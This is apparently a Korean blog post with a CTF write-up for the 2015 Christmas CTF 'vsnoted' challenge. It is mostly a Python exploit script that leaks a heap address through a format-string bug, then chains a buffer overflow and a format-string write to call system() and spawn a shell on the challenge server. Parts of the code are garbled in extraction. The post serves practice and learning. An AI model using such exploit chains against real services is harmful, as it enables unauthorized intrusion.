BLOG main image
분류 전체보기 (224)
Reversing (13)
Pwnable (4)
Linux Kernel (3)
Crypto (2)
Wargames (68)
Programming (18)
Write Up (32)
Project (22)
Web (2)
My Life (52)
Memo (3)
etc (2)
발표자료 (1)
42,654 Visitors up to today!
Today 2 hit, Yesterday 27 hit
daisy rss
tistory 티스토리 가입하기!
2016.04.30 00:26


작년 크리스마스 때 열렸던 크리스마스 CTF vsnoted를 풀어보았다. 그 때 당시에는 풀어볼 엄두도 못냈었는데 이제는 조금 해 볼만 했다. 그리고 포맷스트링은 진짜 할 때 마다 너무 헷갈리는 것 같다. 풀 때는 내 환경의 스택 상황에 맞춰서 익스플로잇을 했는데 과연 이게 실제 대회 때에도 내 환경의 스택과 똑같이 같은 값이 들어있을 지가 의문이다. fsb문제가 나왔을 때 스택을 덤프해 주는 모듈 같은거를 하나 만들어 두어야 할 것 같다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from SunKn0wn import *
 
= remote('5unKn0wn.iptime.org'8282)
 
system_plt = 0x08048910
############ Get heap addr ############
r.recvsend('2')    # login
r.recvsendline('5unKn0wn')
r.recvsendline('superhacker')
 
r.recvsend('1')    # new note
r.recvsendline('8')
r.recvsendline(str(len(binsh_sock)))
r.recvsend('%282$08x')
r.recvsend(binsh_sock)
 
r.recvsend('4')    # logout(fsb)
 
r.recvsend('2')    # (re)login
r.recvsendline('5unKn0wn')
r.recvsendline('superhacker')
 
r.recvsend('2')    # view note
heap_addr = int(r.recvall()[44:52], 16- 0x30    # leak head addr
ret_addr = heap_addr + 0x40
binsh_addr = heap_addr + 0x80
 
print "[!]heap addr : " + str(hex(heap_addr))
print "[!]binsh addr : " + str(hex(binsh_addr))
print "[!]ret-2nd addr : " + str(hex(ret_addr))
############ Exploit ############
r.recvsend('1')    # new note
r.recvsendline('120')
r.recvsendline('25')
r.recvsend('A' * 0x6c + p32(system_plt) + 'AAAA' + p32(binsh_addr))    # bof
r.recvsend('AAAA' + p32(ret_addr) + '%' + str(system_plt - 8+ 'c' + '%293$n')    # fsb(heap)
 
r.recvsend('4')    # logout(fsb)
 
sleep(1)
 
r.interactive()
cs


'Write Up' 카테고리의 다른 글

2016 CodeGate Final GMPQZ  (0) 2016.05.04
2016 CodeGate Final BMP  (0) 2016.05.04
2015 Christmas CTF vsnoted  (0) 2016.04.30
PlaidCTF 2016 quite quixotic quest - 300pt  (0) 2016.04.18
PlaidCTF 2016 quick - 175pt  (0) 2016.04.18
2016 CodeGate watermelon exploit  (1) 2016.04.01
Name
Password
Homepage
Secret